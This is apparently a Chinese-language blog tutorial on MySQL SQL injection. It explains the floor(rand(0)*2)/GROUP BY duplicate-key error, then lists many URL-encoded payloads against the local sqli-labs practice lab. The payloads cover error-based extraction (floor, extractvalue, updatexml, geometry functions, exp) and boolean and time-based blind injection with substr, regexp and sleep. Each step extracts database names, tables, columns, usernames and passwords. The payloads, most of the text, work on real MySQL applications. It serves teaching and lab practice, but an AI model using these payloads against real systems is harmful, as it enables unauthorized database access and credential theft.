• 1.1 sql注入分类与详解


    1.基于报错的 SQL 盲注------构造 payload 让信息通过错误提示回显出来

    这里来讲一下报错注入的原理(floor型爆错注入):
    0x01:报错过程:
    1.rand()用于产生一个0~1的随机数
    2.floor()向下取整
     
    3.rand()函数生成0~1的任意数字,使用floor函数向下取整,值是固定的0,
    如果是rand()*2,向下取整后为0或1
     4.concat()将符合条件的同一列中的不同行数据进行拼接,0x3a是":"的16进制

    5.将之前的rand()函数和floor函数结合起来

     

    6.查询出来的名字太长,我们来起个别名

    7.我们再一次查询,information_schema.tables有多少个表格,会显示多少列

     

     

    8.group by依据我们想要的规矩对结果进行分组

    9.count()统计元素的个数

    10.我们多重复几次

    0x02:rand()和rand(0)

    1.根据刚才的运行结果,发现不加随机因子,执行2次就会报错,我们加上随机因子

    看一下结果:

    发现每一次都报错,是不是说明报错语句有了floor(rand(0)*2)以及其他条件就一定报错,

    验证一下,先建个表test,先只增加一条记录:

    然后我们执行报错语句:

    多次执行均没有发现报错

    我们新增一条记录:

    我们继续执行报错语句:

    多次执行还是没有发现报错

    我们再新增一条记录:

     

    我们测试一下报错语句:

     成功报错了

    由此证明floor(rand(0)*2)的报错是有条件的,记录数必须大于等于3条,3条以上必定报错

    0x03 确定性与不确定性

    根据上面的验证,我们发现:

    floor(rand()*2):二条记录随机出错

    floor(rand(0)*2):三条记录以上一定报错

    由此可以猜想,floor(rand()*2)是比较随机的,不具备确定性因素,而floor(rand(0)*2)具备某方面的确定性

    floor(rand(0)*2) :报错的原理恰恰是由于他的确定性

    我们分别执行观察:

    floor(rand()*2):

    发现连续三次查询,没有一点规律

    floor(rand(0)*2) :

    发现连续三次查询都是有规律的,而且是固定的,这就是上面说的由于确定性才导致的爆错

    0x04 count与group by的虚拟表

    我们先看下来查询结果:

    可以看出test5的记录有3条

    与count(*)的结果相符合,如果mysql遇到了select count(*) from test group by name;

    这种语句,会先建立一个虚拟表:

    当开始查询数据时,从数据库中取出数据,看在虚拟表中是否有同样的记录,
    如果有,就在count(*)字段+1,如果没有就直接插入新记录:

    可这怎么引起报错?

    0x05 floor(rand(0)*2)爆错

    其实官方mysql给过提示,就是查询如果使用rand()的话,该值会被计算多次,也就是在使用group by 的时候,floor(rand(0)*2)会被执行一次,如果虚拟表中不存在记录,把数据插入虚拟表中时会再被执行一次。在0x03中我们发现floor(rand(0)*2)的值具有确定性,为01101100111011,报错实际上是floor(rand(0)*2)被多次计算所导致,具体看一下select count(*) from test group by floor(rand(0)*2);

    1.查询前会建立虚拟表

    2.取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一遍,结果为1(第二次计算),插入虚拟表,这时第一条记录查询完毕:

     

     3.查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚拟表,发现1的键值存在(上图),所以floor(rand(0)*2)不会被计算第二次,直接count(*)+1,第二条记录查询完毕:

    4.查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第四次计算),查询虚拟表,发现0的键值不存在,则虚拟表尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,结果为1(第五次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(应为主键键值必须唯一),所以插入时直接报错了。

    5.整个查询过程floor(rand(0)*2)被计算了5次,查询了3次纪录,这就是为什么数据表中需要3条数据,这也就是使用该语句会报错的原因

    0x06 flood(rand()*2)爆错

    由0x01,0x02我们发现flood(rand()*2),具有随机性,

    最重要的是前面几条记录查询后不能让虚拟表存在0,1键值,如果存在了,那无论多少条记录都无法报错,应为floor(rand()*2)不会再被计算作为虚拟表的键值,这也就是为什么不加随机因子的时候会报错,有时候不报错:

    这样的话,就算查询多少条记录,都不会再次被计算,只是简单的count(*)+1,所以不会报错

    比如floor(rand(1)*2):

    前两条记录查询过之后,虚拟表中已经存在0,1的键值了,所以后面只会在count(*)上面加,后面不会再爆错

    这就是floor型报错注入的原理与过程

     --------------------------------------------------------------------------------

              information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名,
    数据库的表,表栏的数据类型与访问权限等。再简单点,这台MySQL服务器上,到底有哪些数
    据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等
    等信息都保存在information_schema表里面。
     
    爆出数据库中的所有数据库名:
    select schema_name from information_schema.schemata;

    爆出数据库中所有表名:

    select table_name from information_schema.tables;
    爆出数据库中的列名:
    select column_name from information_schema.columns where table_name='wp_users';
     爆出字段具体的值:
    select table_name,table_schema from information_schema.tables group by table_schema;
    select group_concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name;
    0x3a是 :的16进制
    -————------
    | name        |
    ---------------       
    |::security::0|
    ---------------
    或者
    -————------
    | name        |
    ---------------       
    |::security::1|
    ---------------
    concat()  : 连接两个或多个数组
    select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name;
    -------————-----------------
    |                   |                    |
    | count(*)     |     name      |
    --------------------------------
    |                   |                   |
    |     45          |::security::0  |
    |                   |                    |
    |     41          |::security::1  |
    --------------------------------
    但是刷新几次发现了一个错误:
    ERROR 1062(23000):Duplicate entry'::security::1' for key 'group_key';

     但是这个错误却爆出了当前数据库名,这对我们SQL注入是有用的,同理,我们可以换成不同的函数来获取信息

    select count(*),concat(0x3a,0x3a,version(),0x3a,0x3a,floor(rand()*2))name from
    information_schema.tables group by name;
    刷新多遍,发现这个错误果然可以爆出数据库的版本信息
    这样的话,我们可以尝试爆表
    select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name;
    多次刷新
    竟然真的爆出了表的名字,我们还可以通过改变limit 0,1 来获取更多地表名
    这里顺便补充一下limit 0,1 的用法  :
    select * from table limit m,n
    其中m是指记录开始的index,从0开始,表示第一条记录,n是指从第m+1条开始,取n条。
     
    limit是mysql的语法
    select * from table limit m,n
    其中m是指记录开始的index,从0开始,表示第一条记录
    n是指从第m+1条开始,取n条。
    select * from tablename limit 2,4
    即取出第3条至第6条,4条记
    同理我们换成比较麻烦的来爆出表的名字
     
    http://127.0.0.1/sqlilabs/Less-5/?id=-1' and  (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%2
    http://127.0.0.1/sqlilabs/Less-5/?id=-1' and  (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
    我们可以找到username,password字段
    http://127.0.0.1/sqlilabs/Less-5/?id=-1' and  (select 1 from (select count(*),concat(0x3a,0x3a,(select username from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
    可以爆出用户名
    http://127.0.0.1/sqlilabs/Less-5/?id=-1' and  (select 1 from (select count(*),concat(0x3a,0x3a,(select password from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
    可以爆出用户名对应的用户密码
    其他方法
    1、通过floor报错,注入语句如下:   
    爆数据库:
    http://127.0.0.1/sqlilabs/Less-5/?id=-1' and  (select 1 from (select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
     
    爆表:
    http://127.0.0.1/sqlilabs/Less-5/?id=-1' and  (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
     
    爆字段:
    http://127.0.0.1/sqlilabs/Less-5/?id=-1' and  (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
     
    爆用户名:
    http://127.0.0.1/sqlilabs/Less-5/?id=-1' and  (select 1 from (select count(*),concat(0x3a,0x3a,(select username from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
     
    爆密码:
    http://127.0.0.1/sqlilabs/Less-5/?id=-1' and  (select 1 from (select count(*),concat(0x3a,0x3a,(select password from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
     
     
    2、通过ExtractValue报错,注入语句如下:
    爆数据库:
    and extractvalue(1, concat(0x5c, (select database()),0x5c));
     
    爆表:
    and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5c));
     
    爆字段:
    and extractvalue(1, concat(0x5c, (select column_name from information_schema.columns where table_name='users' limit 0,1),0x5c));
     
    爆用户:
    and extractvalue(1, concat(0x5c, (select username from users limit 0,1),0x5c));
     
    爆密码:
     
    and extractvalue(1, concat(0x5c, (select password from users limit 0,1),0x5c));
     
     
    3、通过UpdateXml报错,注入语句如下:
     
    爆数据库:
     
    and 1=(updatexml(1,concat(0x3a,(select database()),0x3a),1))
     
    爆表:
    and 1=(updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a),1))
     
    爆字段:
    and 1=(updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a),1))
     
    爆用户:
    and 1=(updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1))
     
    爆密码:
    and 1=(updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1))
    
    4.通过geometrycollection()报错,注入语句如下:
    
     select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
    
    5.通过multipoint()报错,注入语句如下:
    
      select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
    
    6.通过polygon()报错,注入语句如下:
    
      select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
    
    7.通过multipolygon()报错,注入语句如下:
    
      select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
    
    8.通过linestring()报错,注入语句如下:
    
      select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
    
    9.通过multilinestring()报错,注入语句如下:
    
      select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
    
    10.通过exp()报错,注入语句如下:
    
      select * from test where id=1 and exp(~(select * from(select user())a));


    2:基于布尔 SQL 盲注----------构造逻辑判断
     
     1:基于布尔 SQL 盲注----------构造逻辑判断
     
    left(database(),1)>’s’ //left()函数
    Explain: database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位
    上面语句也就是判断数据库的第一位的ascill的值是否大于8,如果是页面就返回正常
    用法:http://127.0.0.1/sqlilabs/Less-7/?id=1' and left(database())>=8%23
     
    ascii(substr((select table_name information_schema.tables where tables_schema =database() limit 0,1),1,1))=101 --+
    //substr()函数,ascii()函数
    Explain:substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换 为 ascii 值
     
    ascii(substr((select database()),1,1))=98

    ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23
    //ORD()函数,MID()函数
    Explain:mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位       Ord()函数同 ascii(),将字符转为 ascii 值
     
     
    ▲regexp 正则注入
    用法介绍:
    select user() regexp '^[a-z]';
    Explain:正则表达式的用法,user()结果为 root,regexp 为匹配 root 的正则表达式。
    第二位可以用 
    select user() regexp '^ro'
    来进行。
     
    示例介绍: 
    select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));

    select * from users where id=1 and 1=(user() regexp'^ri');
    通过 if 语句的条件判断,返回一些条件句,比如 if 等构造一个判断。根据返回结果是否等 于 0 或者 1 进行判断。 
     
    select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
    这里利用 select 构造了一个判断语句。我们只需要更换 regexp 表达式即可
     
    '^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE
     
    如何知道匹配结束了?这里大部分根据一般的命名方式(经验)就可以判断。但是如何你在 无法判断的情况下,可以用
    table_name regexp '^username$
    '来进行判断。^是从开头进行 匹配,$是从结尾开始判断更多的语法可以参考 mysql 使用手册进行了解
     

     
    3:基于时间的 SQL 盲注----------延时注入
    If(ascii(substr(database(),1,1))>115,0,sleep(5))%23
    //if 判断语句,条件为假, 执行 sleep
    Ps:遇到以下这种利用 sleep()延时注入语句
    select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8, 9,.'));
    该语句意思是在 0-9 之间找版本号的第一位。但是在我们实际渗透过程中,这种用法是不可 取的,因为时间会有网速等其他因素的影响,所以会影响结果的判断。
     
    UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M SG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;
    //BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达 式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执 行成功。这是一种边信道攻击,在运行过程中占用大量的 cpu 资源。推荐使用 sleep()
    函数进行注入。
     
    猜测数据库:
    http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
    说明第一位是 s (ascii 码是 115)
    http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+
    说明第二位是 e (ascii 码是 101) ....
    以此类推,我们知道了数据库名字是 security
    猜测 security 的数据表:
    http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
     猜测第一个数据表的第一位是 e,...
    依次类推,得到 emails
    http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
    猜测第二个数据表的第一位是 r,...
    依次类推,得到 referers ...
    再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users
     
    猜测 users 表的列:
    http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
    猜测 users 表的第一个列的第一个字符是 i,
    以此类推,我们得到列名是 id,username,password
     
     ````````````````
    猜测 username 的值:
    http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+
    猜测 username 的第一行的第一位 以此类推,我们得到数据库 username,password 的所有内容
     
    以上的过程就是我们利用 sleep()函数注入的整个过程,当然了可以离开 BENCHMARK()函数进 行注入,这里可以自行进行测试。我们这里就不进行演示了
     
  • 相关阅读:
    信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言—— 1056:点和正方形的关系
    信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言—— 1058:求一元二次方程
    信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言—— 1058:求一元二次方程
    《工程数学——线性代数》—— 第1章——行列式 —— § 2 全排列和对换
    《工程数学——线性代数》—— 第1章——行列式 —— § 2 全排列和对换
    《工程数学——线性代数》—— 第1章——行列式 —— § 2 全排列和对换
    《工程数学——线性代数》—— 第1章——行列式 —— § 1 二阶与三阶行列式
    【Javascript】【jQuery】onload和onready的区别
    【Javascript】【jQuery】onload和onready的区别
    使用T4模板映射数据库表
  • 原文地址:https://www.cnblogs.com/bmjoker/p/8797027.html
Copyright © 2020-2023  润新知